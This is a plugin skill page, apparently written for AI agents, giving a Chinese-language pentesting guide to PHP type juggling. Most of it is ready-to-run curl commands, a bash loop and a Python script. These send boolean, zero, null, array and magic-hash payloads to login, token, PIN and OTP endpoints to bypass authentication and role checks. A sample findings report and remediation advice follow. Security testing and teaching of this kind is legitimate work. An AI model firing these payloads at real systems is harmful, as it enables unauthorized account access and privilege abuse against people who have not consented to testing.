Exploits PHP type juggling vulnerabilities using loose comparisons (==) to bypass authentication, magic MD5/SHA1 hash collisions, and access controls in web apps. For pentesting PHP logins and APIs.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 测试 PHP Web 应用程序的身份验证绕过漏洞时
Exploits PHP type juggling vulnerabilities in loose comparisons to bypass authentication, circumvent hash checks, and manipulate logic via JSON payloads and magic hashes.
Exploits PHP type juggling vulnerabilities from loose comparisons (==) to bypass authentication, hash verification, and manipulate logic via type coercion. For pentesting PHP web apps.
Detects PHP type juggling vulnerabilities: loose comparisons with user input, in_array without strict mode, switch type coercion, and hash comparison bypasses. Use for PHP security reviews.
Share bugs, ideas, or general feedback.
# 查找具有以下特征的 PHP 应用程序:
# - 登录/认证表单
# - 密码比较端点
# - 接受 JSON 输入的 API 端点
# - 令牌/哈希验证
# - 用于访问控制的数值比较
# 检查应用程序是否接受 JSON 输入(允许类型控制)
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"test"}'
# 如果应用程序通常使用表单数据,尝试 JSON
# 表单:username=admin&password=test
# JSON:{"username":"admin","password":true}
# PHP 宽松比较:0 == "password" 返回 TRUE
# 通过 JSON 发送整数 0 作为密码
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":0}'
# 发送布尔值 true(宽松比较中 TRUE == "任意字符串")
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":true}'
# 发送空数组(数组绕过 strcmp)
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":[]}'
# 发送 null
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":null}'
# PHP strcmp 漏洞:strcmp(array, string) 返回 NULL
# 宽松比较中 NULL == 0 为 TRUE
curl -X POST http://target.com/login \
-d "username=admin&password[]=anything"
# PHP 将 "0e..." 字符串视为科学记数法(0 * 10^N = 0)
# 如果哈希以 "0e" 开头且后跟纯数字,则在宽松比较中等于 0
# 魔术 MD5 哈希(在宽松比较中均等于 0):
# "240610708" -> md5: 0e462097431906509019562988736854
# "QNKCDZO" -> md5: 0e830400451993494058024219903391
# "aabg7XSs" -> md5: 0e087386482136013740957780965295
# "aabC9RqS" -> md5: 0e041022518165728065344349536299
# 如果应用程序比较 md5(user_input) == stored_hash:
# 且 stored_hash 以 "0e" 开头且后续只有数字
curl -X POST http://target.com/login \
-d "username=admin&password=240610708"
# 魔术 SHA1 哈希:
# "aaroZmOk" -> sha1: 0e66507019969427134894567494305185566735
# "aaK1STfY" -> sha1: 0e76658526655756207688271159624026011393
# 使用已知魔术哈希值进行测试
for payload in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "0e1137126905" "0e215962017"; do
echo -n "测试:$payload -> "
curl -s -X POST http://target.com/login \
-d "username=admin&password=$payload" -o /dev/null -w "%{http_code}"
echo
done
# 数值比较绕过
# 如果:if($user_id == $target_id) { // 允许访问 }
# "0" == "0e12345" 为 TRUE(均等于 0)
# 字符串到整数转换
# "1abc" == 1 在 PHP 中为 TRUE(字符串截断为整数)
curl "http://target.com/api/user?id=1abc"
# 用于角色检查的布尔比较
# if($role == true) 对任何非空字符串都授予访问权限
curl -X POST http://target.com/api/action \
-H "Content-Type: application/json" \
-d '{"action":"delete","role":true}'
# 用于可选检查的 Null 比较
# if($token == null) 可能跳过验证
curl -X POST http://target.com/api/verify \
-H "Content-Type: application/json" \
-d '{"token":0}'
# PHP json_decode() 保留类型
# 攻击者通过 JSON 控制类型:true、0、null、[]
# 绕过令牌验证
curl -X POST http://target.com/api/verify-token \
-H "Content-Type: application/json" \
-d '{"token":true}'
# 绕过数字 PIN 验证
curl -X POST http://target.com/api/verify-pin \
-H "Content-Type: application/json" \
-d '{"pin":true}'
# 使用零值绕过
curl -X POST http://target.com/api/check-code \
-H "Content-Type: application/json" \
-d '{"code":0}'
# PHP unserialize() 类型转换
# 构造整数类型而非字符串类型的序列化对象
# s:8:"password"; -> i:0;(字符串 "password" 改为整数 0)
# 针对每个参数测试所有常见类型转换载荷
# 在 Burp Intruder 中使用类型转换载荷列表
# 基于 JSON 测试的载荷列表:
# true
# false
# null
# 0
# 1
# ""
# []
# "0"
# "0e99999"
# "240610708"
# Python 自动化脚本
python3 -c "
import requests
import json
url = 'http://target.com/api/login'
payloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']
for p in payloads:
data = {'username': 'admin', 'password': p}
r = requests.post(url, json=data)
print(f'password={json.dumps(p):20s} -> 状态: {r.status_code}, 长度: {len(r.text)}')
"
| 概念 | 定义 |
|---|---|
| 宽松比较(==) | PHP 比较,在比较值之前执行类型强制转换 |
| 严格比较(===) | PHP 比较,要求值和类型都匹配 |
| 魔术哈希(Magic Hash) | 哈希以 "0e" 开头并后跟数字的字符串,在宽松比较中等于 0 |
| 类型强制(Type Coercion) | 比较期间类型之间的自动转换(字符串转整数、null 转 0) |
| strcmp 绕过(strcmp Bypass) | 将数组传递给 strcmp() 返回 NULL,在宽松比较中等于 0 |
| JSON 类型控制(JSON Type Control) | 使用 JSON 输入向 PHP 端点发送特定类型(布尔值、整数、null) |
| 科学记数法(Scientific Notation) | PHP 在数值比较中将 "0eN" 字符串解释为 0 |
| 工具 | 用途 |
|---|---|
| Burp Suite | 用于更改请求中参数类型的 HTTP 代理 |
| PHP 交互式 Shell | 本地测试类型转换行为 |
| PayloadsAllTheThings | 精选的魔术哈希和类型转换载荷列表 |
| phpggc | PHP 通用 Gadget 链,用于反序列化利用 |
| 自定义 Python 脚本 | 自动化类型转换载荷测试 |
| PHPStan/Psalm | 检测代码中宽松比较的静态分析工具 |
"password": true 作为 JSON 以绕过宽松比较密码验证password[]=anything,使 strcmp() 返回 NULL,绕过密码比较"role": true,在宽松比较访问控制中匹配任何非空角色字符串## 类型转换漏洞报告
- **目标**:http://target.com
- **语言**:PHP 8.1
- **框架**:Laravel
### 发现
| # | 端点 | 参数 | 载荷 | 类型 | 影响 |
|---|----------|-----------|---------|------|--------|
| 1 | POST /login | password | true(布尔值) | 宽松比较 | 认证绕过 |
| 2 | POST /login | password | 240610708(魔术哈希) | MD5 0e 碰撞 | 认证绕过 |
| 3 | POST /login | password[] | 数组 | strcmp 返回 NULL | 认证绕过 |
| 4 | POST /verify | code | 0(整数) | 数值比较 | OTP 绕过 |
### PHP 比较表(相关)
| 表达式 | 结果 | 原因 |
|-----------|--------|--------|
| 0 == "password" | TRUE | 字符串转换为 0 |
| true == "password" | TRUE | 非空字符串为真值 |
| "0e123" == "0e456" | TRUE | 均为科学记数法 = 0 |
| NULL == 0 | TRUE | NULL 转换为 0 |
### 修复建议
- 在安全关键代码中将所有 == 替换为 ===(严格比较)
- 使用 password_verify() 进行密码比较,而非直接比较
- 使用 hash_equals() 进行时序安全的哈希比较
- 在比较操作前验证输入类型
- 在所有文件中启用 PHP strict_types 声明